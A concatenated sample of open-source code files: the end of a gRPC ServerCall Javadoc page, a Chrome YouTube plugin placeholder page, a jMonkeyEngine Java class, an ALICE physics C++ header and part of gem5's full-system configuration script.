<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- ======== NESTED CLASS SUMMARY ======== -->
<ul class="blockList">
<li class="blockList"><a name="nested.class.summary">
<!-- -->
</a>
<h3>Nested Class Summary</h3>
<table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Nested Class Summary table, listing nested classes, and an explanation">
<caption><span>Nested Classes</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Class and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static class </code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../io/grpc/ServerCall.Listener.html" title="class in io.grpc">ServerCall.Listener</a><<a href="../../io/grpc/ServerCall.Listener.html" title="type parameter in ServerCall.Listener">RequestT</a>></span></code>
<div class="block">Callbacks for consuming incoming RPC messages.</div>
</td>
</tr>
</table>
</li>
</ul>
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor.summary">
<!-- -->
</a>
<h3>Constructor Summary</h3>
<table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation">
<caption><span>Constructors</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colOne" scope="col">Constructor and Description</th>
</tr>
<tr class="altColor">
<td class="colOne"><code><span class="memberNameLink"><a href="../../io/grpc/ServerCall.html#ServerCall--">ServerCall</a></span>()</code> </td>
</tr>
</table>
</li>
</ul>
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method.summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span id="t0" class="activeTableTab"><span>All Methods</span><span class="tabEnd"> </span></span><span id="t2" class="tableTab"><span><a href="javascript:show(2);">Instance Methods</a></span><span class="tabEnd"> </span></span><span id="t3" class="tableTab"><span><a href="javascript:show(4);">Abstract Methods</a></span><span class="tabEnd"> </span></span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr id="i0" class="altColor">
<td class="colFirst"><code>abstract void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../io/grpc/ServerCall.html#close-io.grpc.Status-io.grpc.Metadata.Trailers-">close</a></span>(<a href="../../io/grpc/Status.html" title="class in io.grpc">Status</a> status,
<a href="../../io/grpc/Metadata.Trailers.html" title="class in io.grpc">Metadata.Trailers</a> trailers)</code>
<div class="block">Close the call with the provided status.</div>
</td>
</tr>
<tr id="i1" class="rowColor">
<td class="colFirst"><code>abstract boolean</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../io/grpc/ServerCall.html#isCancelled--">isCancelled</a></span>()</code>
<div class="block">Returns <code>true</code> when the call is cancelled and the server is encouraged to abort
processing to save resources, since the client will not be processing any further methods.</div>
</td>
</tr>
<tr id="i2" class="altColor">
<td class="colFirst"><code>abstract void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../io/grpc/ServerCall.html#request-int-">request</a></span>(int numMessages)</code>
<div class="block">Requests up to the given number of messages from the call to be delivered to
<a href="../../io/grpc/ServerCall.Listener.html#onPayload-RequestT-"><code>ServerCall.Listener.onPayload(Object)</code></a>.</div>
</td>
</tr>
<tr id="i3" class="rowColor">
<td class="colFirst"><code>abstract void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../io/grpc/ServerCall.html#sendHeaders-io.grpc.Metadata.Headers-">sendHeaders</a></span>(<a href="../../io/grpc/Metadata.Headers.html" title="class in io.grpc">Metadata.Headers</a> headers)</code>
<div class="block">Send response header metadata prior to sending a response payload.</div>
</td>
</tr>
<tr id="i4" class="altColor">
<td class="colFirst"><code>abstract void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../io/grpc/ServerCall.html#sendPayload-ResponseT-">sendPayload</a></span>(<a href="../../io/grpc/ServerCall.html" title="type parameter in ServerCall">ResponseT</a> payload)</code>
<div class="block">Send a response message.</div>
</td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="methods.inherited.from.class.java.lang.Object">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.Object</h3>
<code>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor.detail">
<!-- -->
</a>
<h3>Constructor Detail</h3>
<a name="ServerCall--">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>ServerCall</h4>
<pre>public ServerCall()</pre>
</li>
</ul>
</li>
</ul>
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method.detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="request-int-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>request</h4>
<pre>public abstract void request(int numMessages)</pre>
<div class="block">Requests up to the given number of messages from the call to be delivered to
<a href="../../io/grpc/ServerCall.Listener.html#onPayload-RequestT-"><code>ServerCall.Listener.onPayload(Object)</code></a>. Once <code>numMessages</code> have been delivered
no further request messages will be delivered until more messages are requested by
calling this method again.
<p>Servers use this mechanism to provide back-pressure to the client for flow-control.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>numMessages</code> - the requested number of messages to be delivered to the listener.</dd>
</dl>
</li>
</ul>
<a name="sendHeaders-io.grpc.Metadata.Headers-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>sendHeaders</h4>
<pre>public abstract void sendHeaders(<a href="../../io/grpc/Metadata.Headers.html" title="class in io.grpc">Metadata.Headers</a> headers)</pre>
<div class="block">Send response header metadata prior to sending a response payload. This method may
only be called once and cannot be called after calls to <code>Stream#sendPayload</code>
or <code>#close</code>.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>headers</code> - metadata to send prior to any response body.</dd>
<dt><span class="throwsLabel">Throws:</span></dt>
<dd><code>java.lang.IllegalStateException</code> - if <code>close</code> has been called or a payload has been sent.</dd>
</dl>
</li>
</ul>
<a name="sendPayload-java.lang.Object-">
<!-- -->
</a><a name="sendPayload-ResponseT-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>sendPayload</h4>
<pre>public abstract void sendPayload(<a href="../../io/grpc/ServerCall.html" title="type parameter in ServerCall">ResponseT</a> payload)</pre>
<div class="block">Send a response message. Payload messages are the primary form of communication associated with
RPCs. Multiple response messages may exist for streaming calls.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>payload</code> - response message.</dd>
<dt><span class="throwsLabel">Throws:</span></dt>
<dd><code>java.lang.IllegalStateException</code> - if call is <a href="../../io/grpc/ServerCall.html#close-io.grpc.Status-io.grpc.Metadata.Trailers-"><code>close(io.grpc.Status, io.grpc.Metadata.Trailers)</code></a>d</dd>
</dl>
</li>
</ul>
<a name="close-io.grpc.Status-io.grpc.Metadata.Trailers-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>close</h4>
<pre>public abstract void close(<a href="../../io/grpc/Status.html" title="class in io.grpc">Status</a> status,
<a href="../../io/grpc/Metadata.Trailers.html" title="class in io.grpc">Metadata.Trailers</a> trailers)</pre>
<div class="block">Close the call with the provided status. No further sending or receiving will occur. If <code>status</code> is not equal to <a href="../../io/grpc/Status.html#OK"><code>Status.OK</code></a>, then the call is said to have failed.
<p>If <code>status</code> is not <a href="../../io/grpc/Status.html#CANCELLED"><code>Status.CANCELLED</code></a> and no errors or cancellations are known
to have occured, then a <a href="../../io/grpc/ServerCall.Listener.html#onComplete--"><code>ServerCall.Listener.onComplete()</code></a> notification should be expected.
Otherwise <a href="../../io/grpc/ServerCall.Listener.html#onCancel--"><code>ServerCall.Listener.onCancel()</code></a> has been or will be called.</div>
<dl>
<dt><span class="throwsLabel">Throws:</span></dt>
<dd><code>java.lang.IllegalStateException</code> - if call is already <code>close</code>d</dd>
</dl>
</li>
</ul>
<a name="isCancelled--">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>isCancelled</h4>
<pre>public abstract boolean isCancelled()</pre>
<div class="block">Returns <code>true</code> when the call is cancelled and the server is encouraged to abort
processing to save resources, since the client will not be processing any further methods.
Cancellations can be caused by timeouts, explicit cancel by client, network errors, and
similar.
<p>This method may safely be called concurrently from multiple threads.</div>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../index-all.html">Index</a></li>
<li><a href="../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../io/grpc/Server.html" title="interface in io.grpc"><span class="typeNameLink">Prev Class</span></a></li>
<li><a href="../../io/grpc/ServerCall.Listener.html" title="class in io.grpc"><span class="typeNameLink">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../index.html?io/grpc/ServerCall.html" target="_top">Frames</a></li>
<li><a href="ServerCall.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li><a href="#nested.class.summary">Nested</a> | </li>
<li>Field | </li>
<li><a href="#constructor.summary">Constr</a> | </li>
<li><a href="#method.summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li><a href="#constructor.detail">Constr</a> | </li>
<li><a href="#method.detail">Method</a></li>
</ul>
</div>
<a name="skip.navbar.bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
| bsd-3-clause |
paul99/clank | chrome/renderer/resources/mobile_youtube_plugin.html | 732 | <!DOCTYPE html>
<html>
<head>
<style type="text/css">
body {
background-color: black;
background-image: url("http://img.youtube.com/vi/VIDEO_ID/0.jpg");
background-repeat: no-repeat;
background-size: cover;
}
#main {
position: absolute;
width: 100%;
height: 100%;
padding: 0%;
}
#inner {
position: relative;
top: 50%;
left: 50%;
margin-left: -33px;
margin-top: -23px;
}
#logo {
position: absolute;
right: 0px;
bottom: 0px;
}
#play {
opacity: .7;
}
#youtube {
opacity: .7;
}
</style>
</head>
<body id="body"">
<div id="main"">
<div id="logo"><img id="youtube" src="youtube.png"/></div>
<div id="inner"><img id="play" src="play.png" onclick="plugin.openURL();"/></div>
</div>
</body>
</html>
| bsd-3-clause |
Tibotanum/Necromunda | src/necromunda/PathNode.java | 749 | package necromunda;
import java.util.*;
import com.jme3.material.Material;
import com.jme3.scene.*;
public class PathNode extends NecromundaNode {
public PathNode(String name) {
super(name);
}
public void setMaterial(Material material) {
Spatial base = getChild("pathBoxGeometry");
base.setMaterial(material);
}
public List<Geometry> getBoundingVolumes() {
List<Geometry> boundingVolumes = new ArrayList<Geometry>();
Geometry boundingVolume = (Geometry)getChild("pathBoxGeometry");
boundingVolumes.add(boundingVolume);
return boundingVolumes;
}
@Override
public List<Spatial> getVisualSpatials() {
List<Spatial> spatials = new ArrayList<Spatial>();
spatials.add(getChild("pathBoxGeometry"));
return spatials;
}
}
| bsd-3-clause |
mazimm/AliPhysics | PWGCF/FEMTOSCOPY/FemtoDream/AliFemtoDreamv0Cuts.h | 5222 | /*
* AliFemtoDreamv0Cuts.h
*
* Created on: Dec 12, 2017
* Author: gu74req
*/
#ifndef ALIFEMTODREAMV0CUTS_H_
#define ALIFEMTODREAMV0CUTS_H_
#include "Rtypes.h"
#include "AliFemtoDreamTrackCuts.h"
#include "AliFemtoDreamv0MCHist.h"
#include "AliFemtoDreamv0Hist.h"
#include "AliFemtoDreamv0.h"
class AliFemtoDreamv0Cuts {
public:
AliFemtoDreamv0Cuts();
virtual ~AliFemtoDreamv0Cuts();
static AliFemtoDreamv0Cuts* LambdaCuts(bool isMC,bool CPAPlots,
bool SplitContrib);
//Setters for plots
void SetIsMonteCarlo(bool isMC){fMCData=isMC;};
bool GetIsMonteCarlo(){return fMCData;};
void SetPlotCPADist(bool plot) {fCPAPlots=plot;};
void SetPlotContrib(bool plot) {fContribSplitting=plot;};
void SetAxisInvMassPlots(int nBins,float minMass,float maxMass) {
fNumberXBins=nBins;fAxisMinMass=minMass;fAxisMaxMass=maxMass;
}
//Setters for the daughter track cuts
void SetPosDaugterTrackCuts(AliFemtoDreamTrackCuts *cuts){fPosCuts=cuts;};
void SetNegDaugterTrackCuts(AliFemtoDreamTrackCuts *cuts){fNegCuts=cuts;};
//Setters for PDG Codes of the daughters+v0
void SetPDGCodev0(int pdgCode) {fPDGv0=pdgCode;};
int GetPDGv0() const {return fPDGv0;};
void SetPDGCodePosDaug(int pdgCode) {fPDGDaugP=pdgCode;};
int GetPDGPosDaug() const {return fPDGDaugP;};
void SetPDGCodeNegDaug(int pdgCode) {fPDGDaugN=pdgCode;};
int GetPDGNegDaug() const {return fPDGDaugN;};
//Setters v0 cuts
void SetCheckOnFlyStatus(bool val) {fOnFlyStatus=val;fCutOnFlyStatus=true;};
void SetCutCharge(int charge) {fCutCharge=true;fCharge=charge;};
void SetPtRange(float pmin,float pmax) {
fpTmin=pmin;fpTmax=pmax;fCutPt=true;
}
void SetKaonRejection(float MassLow,float MassUp) {
fKaonRejection=true;fKaonRejLow=MassLow;fKaonRejUp=MassUp;
};
void SetCutMaxDecayVtx(float maxDecayVtx) {
fCutDecayVtxXYZ=true;fMaxDecayVtxXYZ=maxDecayVtx;
};
void SetCutTransverseRadius(float minRadius,float maxRadius) {
fMinTransRadius=minRadius;fMaxTransRadius=maxRadius;fCutTransRadius=true;
}
void SetCutDCADaugToPrimVtx(float minDCA) {
fMinDCADaugToPrimVtx=minDCA;fCutMinDCADaugPrimVtx=true;
};
void SetCutDCADaugTov0Vtx(float maxDCA) {
fMaxDCADaugToDecayVtx=maxDCA;fCutMaxDCADaugToDecayVtx=true;
}
void SetCutCPA(float cpa) {fMinCPA=cpa;fCutCPA=true;};
void SetCutInvMass(float width){fInvMassCutWidth=width;fCutInvMass=true;};
void Init(bool MinimalBooking);
TList *GetQAHists() {return fHistList;};
// TList *GetQAHistsPosDaug() {return fPosCuts->GetQAHists();};
// TList *GetQAHistsNegDaug() {return fNegCuts->GetQAHists();};
TList *GetMCQAHists() {return fMCHistList;};
// TList *GetMCQAHistsPosDaug() {return fPosCuts->GetMCQAHists();};
// TList *GetMCQAHistsNegDaug() {return fNegCuts->GetMCQAHists();};
bool isSelected(AliFemtoDreamv0 *v0);
TString ClassName(){return "v0Cuts";};
private:
bool RejectAsKaon(AliFemtoDreamv0 *v0);
bool DaughtersPassCuts(AliFemtoDreamv0 *v0);
bool MotherPassCuts(AliFemtoDreamv0 *v0);
bool CPAandMassCuts(AliFemtoDreamv0 *v0);
void BookQA(AliFemtoDreamv0 *v0);
void BookMC(AliFemtoDreamv0 *v0);
void BookTrackCuts();
void FillMCContributions(AliFemtoDreamv0 *v0);
float CalculateInvMass(AliFemtoDreamv0 *v0,int PDGPosDaug,int PDGNegDaug);
TList *fHistList; //!
TList *fMCHistList; //!
AliFemtoDreamv0MCHist *fMCHist; //!
AliFemtoDreamv0Hist *fHist; //!
//Here the cut values for the Daughters are stored
AliFemtoDreamTrackCuts *fPosCuts; //
AliFemtoDreamTrackCuts *fNegCuts; //
//These are all the cuts directly linked to the v0
bool fMinimalBooking; //
bool fMCData; //
bool fCPAPlots; //
bool fContribSplitting; //
bool fCutOnFlyStatus; //
bool fOnFlyStatus; //
bool fCutCharge; //
int fCharge; //
bool fCutPt; //
float fpTmin; //
float fpTmax; //
bool fKaonRejection; //
float fKaonRejLow; //
float fKaonRejUp; //
bool fCutDecayVtxXYZ; //
float fMaxDecayVtxXYZ; //
bool fCutTransRadius; //
float fMinTransRadius; //
float fMaxTransRadius; //
bool fCutMinDCADaugPrimVtx; //
float fMinDCADaugToPrimVtx; //
bool fCutMaxDCADaugToDecayVtx; //
float fMaxDCADaugToDecayVtx; //
bool fCutCPA; //
float fMinCPA; //
bool fCutInvMass; //
float fInvMassCutWidth; //
//Range for the axis of the hists
float fAxisMinMass; //
float fAxisMaxMass; //
int fNumberXBins; //
//PDG Codes of the Mother and the Daughter needed for Inv Mass Calc. and
//matching in the MC Sample
int fPDGv0; //
int fPDGDaugP; //
int fPDGDaugN; //
ClassDef(AliFemtoDreamv0Cuts,2)
};
#endif /* ALIFEMTODREAMV0CUTS_H_ */
| bsd-3-clause |
lokeshjindal15/gem5_transform | configs/common/FSConfig.py | 21365 | # Copyright (c) 2010-2012 ARM Limited
# All rights reserved.
#
# The license below extends only to copyright in the software and shall
# not be construed as granting a license to any other intellectual
# property including but not limited to intellectual property relating
# to a hardware implementation of the functionality of the software
# licensed hereunder. You may use the software subject to the license
# terms below provided that you ensure that this notice is replicated
# unmodified and in its entirety in all distributions of the software,
# modified or unmodified, in source code or in binary form.
#
# Copyright (c) 2010-2011 Advanced Micro Devices, Inc.
# Copyright (c) 2006-2008 The Regents of The University of Michigan
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met: redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer;
# redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution;
# neither the name of the copyright holders nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# Authors: Kevin Lim
from m5.objects import *
from Benchmarks import *
from m5.util import *
class CowIdeDisk(IdeDisk):
image = CowDiskImage(child=RawDiskImage(read_only=True),
read_only=False)
def childImage(self, ci):
self.image.child.image_file = ci
class MemBus(CoherentXBar):
badaddr_responder = BadAddr()
default = Self.badaddr_responder.pio
def makeLinuxAlphaSystem(mem_mode, mdesc = None, ruby = False):
class BaseTsunami(Tsunami):
ethernet = NSGigE(pci_bus=0, pci_dev=1, pci_func=0)
ide = IdeController(disks=[Parent.disk0, Parent.disk2],
pci_func=0, pci_dev=0, pci_bus=0)
self = LinuxAlphaSystem()
if not mdesc:
# generic system
mdesc = SysConfig()
self.readfile = mdesc.script()
self.tsunami = BaseTsunami()
# Create the io bus to connect all device ports
self.iobus = NoncoherentXBar()
self.tsunami.attachIO(self.iobus)
self.tsunami.ide.pio = self.iobus.master
self.tsunami.ide.config = self.iobus.master
self.tsunami.ethernet.pio = self.iobus.master
self.tsunami.ethernet.config = self.iobus.master
if ruby:
# Store the dma devices for later connection to dma ruby ports.
# Append an underscore to dma_ports to avoid the SimObjectVector check.
self._dma_ports = [self.tsunami.ide.dma, self.tsunami.ethernet.dma]
else:
self.membus = MemBus()
# By default the bridge responds to all addresses above the I/O
# base address (including the PCI config space)
IO_address_space_base = 0x80000000000
self.bridge = Bridge(delay='50ns',
ranges = [AddrRange(IO_address_space_base, Addr.max)])
self.bridge.master = self.iobus.slave
self.bridge.slave = self.membus.master
self.tsunami.ide.dma = self.iobus.slave
self.tsunami.ethernet.dma = self.iobus.slave
self.system_port = self.membus.slave
self.mem_ranges = [AddrRange(mdesc.mem())]
self.disk0 = CowIdeDisk(driveID='master')
self.disk2 = CowIdeDisk(driveID='master')
self.disk0.childImage(mdesc.disk())
self.disk2.childImage(disk('linux-bigswap2.img'))
self.simple_disk = SimpleDisk(disk=RawDiskImage(image_file = mdesc.disk(),
read_only = True))
self.intrctrl = IntrControl()
self.mem_mode = mem_mode
self.terminal = Terminal()
self.kernel = binary('vmlinux')
self.pal = binary('ts_osfpal')
self.console = binary('console')
self.boot_osflags = 'root=/dev/hda1 console=ttyS0'
return self
def makeSparcSystem(mem_mode, mdesc = None):
# Constants from iob.cc and uart8250.cc
iob_man_addr = 0x9800000000
uart_pio_size = 8
class CowMmDisk(MmDisk):
image = CowDiskImage(child=RawDiskImage(read_only=True),
read_only=False)
def childImage(self, ci):
self.image.child.image_file = ci
self = SparcSystem()
if not mdesc:
# generic system
mdesc = SysConfig()
self.readfile = mdesc.script()
self.iobus = NoncoherentXBar()
self.membus = MemBus()
self.bridge = Bridge(delay='50ns')
self.t1000 = T1000()
self.t1000.attachOnChipIO(self.membus)
self.t1000.attachIO(self.iobus)
self.mem_ranges = [AddrRange(Addr('1MB'), size = '64MB'),
AddrRange(Addr('2GB'), size ='256MB')]
self.bridge.master = self.iobus.slave
self.bridge.slave = self.membus.master
self.rom.port = self.membus.master
self.nvram.port = self.membus.master
self.hypervisor_desc.port = self.membus.master
self.partition_desc.port = self.membus.master
self.intrctrl = IntrControl()
self.disk0 = CowMmDisk()
self.disk0.childImage(disk('disk.s10hw2'))
self.disk0.pio = self.iobus.master
# The puart0 and hvuart are placed on the IO bus, so create ranges
# for them. The remaining IO range is rather fragmented, so poke
# holes for the iob and partition descriptors etc.
self.bridge.ranges = \
[
AddrRange(self.t1000.puart0.pio_addr,
self.t1000.puart0.pio_addr + uart_pio_size - 1),
AddrRange(self.disk0.pio_addr,
self.t1000.fake_jbi.pio_addr +
self.t1000.fake_jbi.pio_size - 1),
AddrRange(self.t1000.fake_clk.pio_addr,
iob_man_addr - 1),
AddrRange(self.t1000.fake_l2_1.pio_addr,
self.t1000.fake_ssi.pio_addr +
self.t1000.fake_ssi.pio_size - 1),
AddrRange(self.t1000.hvuart.pio_addr,
self.t1000.hvuart.pio_addr + uart_pio_size - 1)
]
self.reset_bin = binary('reset_new.bin')
self.hypervisor_bin = binary('q_new.bin')
self.openboot_bin = binary('openboot_new.bin')
self.nvram_bin = binary('nvram1')
self.hypervisor_desc_bin = binary('1up-hv.bin')
self.partition_desc_bin = binary('1up-md.bin')
self.system_port = self.membus.slave
return self
def makeArmSystem(mem_mode, machine_type, mdesc = None,
dtb_filename = None, bare_metal=False,
sdcard_image = "sdcard-1g-mxplayer.img"):
assert machine_type
if bare_metal:
self = ArmSystem()
else:
self = LinuxArmSystem()
if not mdesc:
# generic system
mdesc = SysConfig()
self.readfile = mdesc.script()
self.iobus = NoncoherentXBar()
self.membus = MemBus()
self.membus.badaddr_responder.warn_access = "warn"
self.bridge = Bridge(delay='50ns')
self.bridge.master = self.iobus.slave
self.bridge.slave = self.membus.master
self.mem_mode = mem_mode
if machine_type == "RealView_PBX":
self.realview = RealViewPBX()
elif machine_type == "RealView_EB":
self.realview = RealViewEB()
elif machine_type == "VExpress_ELT":
self.realview = VExpress_ELT()
elif machine_type == "VExpress_EMM":
self.realview = VExpress_EMM()
elif machine_type == "VExpress_EMM64":
self.realview = VExpress_EMM64()
else:
print "Unknown Machine Type"
sys.exit(1)
self.cf0 = CowIdeDisk(driveID='master')
self.cf2 = CowIdeDisk(driveID='master')
self.cf0.childImage(mdesc.disk())
self.cf2.childImage(disk(sdcard_image))
# Attach any PCI devices this platform supports
self.realview.attachPciDevices()
# default to an IDE controller rather than a CF one
try:
self.realview.ide.disks = [self.cf0, self.cf2]
except:
self.realview.cf_ctrl.disks = [self.cf0, self.cf2]
if bare_metal:
# EOT character on UART will end the simulation
self.realview.uart.end_on_eot = True
self.mem_ranges = [AddrRange(self.realview.mem_start_addr,
size = mdesc.mem())]
else:
if machine_type == "VExpress_EMM64":
self.kernel = binary('vmlinux-3.16-aarch64-vexpress-emm64-pcie')
elif machine_type == "VExpress_EMM":
self.kernel = binary('vmlinux-3.3-arm-vexpress-emm-pcie')
else:
self.kernel = binary('vmlinux.arm.smp.fb.2.6.38.8')
if dtb_filename:
self.dtb_filename = binary(dtb_filename)
self.machine_type = machine_type
# Ensure that writes to the UART actually go out early in the boot
boot_flags = 'earlyprintk=pl011,0x1c090000 console=ttyAMA0 ' + \
'lpj=19988480 norandmaps rw loglevel=8 ' + \
'mem=%s root=/dev/sda1' % mdesc.mem()
self.mem_ranges = []
size_remain = long(Addr(mdesc.mem()))
for region in self.realview._mem_regions:
if size_remain > long(region[1]):
self.mem_ranges.append(AddrRange(region[0], size=region[1]))
size_remain = size_remain - long(region[1])
else:
self.mem_ranges.append(AddrRange(region[0], size=size_remain))
size_remain = 0
break
warn("Memory size specified spans more than one region. Creating" \
" another memory controller for that range.")
if size_remain > 0:
fatal("The currently selected ARM platforms doesn't support" \
" the amount of DRAM you've selected. Please try" \
" another platform")
self.realview.setupBootLoader(self.membus, self, binary)
self.gic_cpu_addr = self.realview.gic.cpu_addr
self.flags_addr = self.realview.realview_io.pio_addr + 0x30
if mdesc.disk().lower().count('android'):
boot_flags += " init=/init "
self.boot_osflags = boot_flags
self.realview.attachOnChipIO(self.membus, self.bridge)
self.realview.attachIO(self.iobus)
self.intrctrl = IntrControl()
self.terminal = Terminal()
self.vncserver = VncServer()
self.system_port = self.membus.slave
return self
def makeLinuxMipsSystem(mem_mode, mdesc = None):
class BaseMalta(Malta):
ethernet = NSGigE(pci_bus=0, pci_dev=1, pci_func=0)
ide = IdeController(disks=[Parent.disk0, Parent.disk2],
pci_func=0, pci_dev=0, pci_bus=0)
self = LinuxMipsSystem()
if not mdesc:
# generic system
mdesc = SysConfig()
self.readfile = mdesc.script()
self.iobus = NoncoherentXBar()
self.membus = MemBus()
self.bridge = Bridge(delay='50ns')
self.mem_ranges = [AddrRange('1GB')]
self.bridge.master = self.iobus.slave
self.bridge.slave = self.membus.master
self.disk0 = CowIdeDisk(driveID='master')
self.disk2 = CowIdeDisk(driveID='master')
self.disk0.childImage(mdesc.disk())
self.disk2.childImage(disk('linux-bigswap2.img'))
self.malta = BaseMalta()
self.malta.attachIO(self.iobus)
self.malta.ide.pio = self.iobus.master
self.malta.ide.config = self.iobus.master
self.malta.ide.dma = self.iobus.slave
self.malta.ethernet.pio = self.iobus.master
self.malta.ethernet.config = self.iobus.master
self.malta.ethernet.dma = self.iobus.slave
self.simple_disk = SimpleDisk(disk=RawDiskImage(image_file = mdesc.disk(),
read_only = True))
self.intrctrl = IntrControl()
self.mem_mode = mem_mode
self.terminal = Terminal()
self.kernel = binary('mips/vmlinux')
self.console = binary('mips/console')
self.boot_osflags = 'root=/dev/hda1 console=ttyS0'
self.system_port = self.membus.slave
return self
def x86IOAddress(port):
IO_address_space_base = 0x8000000000000000
return IO_address_space_base + port
def connectX86ClassicSystem(x86_sys, numCPUs):
# Constants similar to x86_traits.hh
IO_address_space_base = 0x8000000000000000
pci_config_address_space_base = 0xc000000000000000
interrupts_address_space_base = 0xa000000000000000
APIC_range_size = 1 << 12;
x86_sys.membus = MemBus()
# North Bridge
x86_sys.iobus = NoncoherentXBar()
x86_sys.bridge = Bridge(delay='50ns')
x86_sys.bridge.master = x86_sys.iobus.slave
x86_sys.bridge.slave = x86_sys.membus.master
# Allow the bridge to pass through the IO APIC (two pages),
# everything in the IO address range up to the local APIC, and
# then the entire PCI address space and beyond
x86_sys.bridge.ranges = \
[
AddrRange(x86_sys.pc.south_bridge.io_apic.pio_addr,
x86_sys.pc.south_bridge.io_apic.pio_addr +
APIC_range_size - 1),
AddrRange(IO_address_space_base,
interrupts_address_space_base - 1),
AddrRange(pci_config_address_space_base,
Addr.max)
]
# Create a bridge from the IO bus to the memory bus to allow access to
# the local APIC (two pages)
x86_sys.apicbridge = Bridge(delay='50ns')
x86_sys.apicbridge.slave = x86_sys.iobus.master
x86_sys.apicbridge.master = x86_sys.membus.slave
x86_sys.apicbridge.ranges = [AddrRange(interrupts_address_space_base,
interrupts_address_space_base +
numCPUs * APIC_range_size
- 1)]
# connect the io bus
x86_sys.pc.attachIO(x86_sys.iobus)
x86_sys.system_port = x86_sys.membus.slave
def connectX86RubySystem(x86_sys):
# North Bridge
x86_sys.iobus = NoncoherentXBar()
# add the ide to the list of dma devices that later need to attach to
# dma controllers
x86_sys._dma_ports = [x86_sys.pc.south_bridge.ide.dma]
x86_sys.pc.attachIO(x86_sys.iobus, x86_sys._dma_ports)
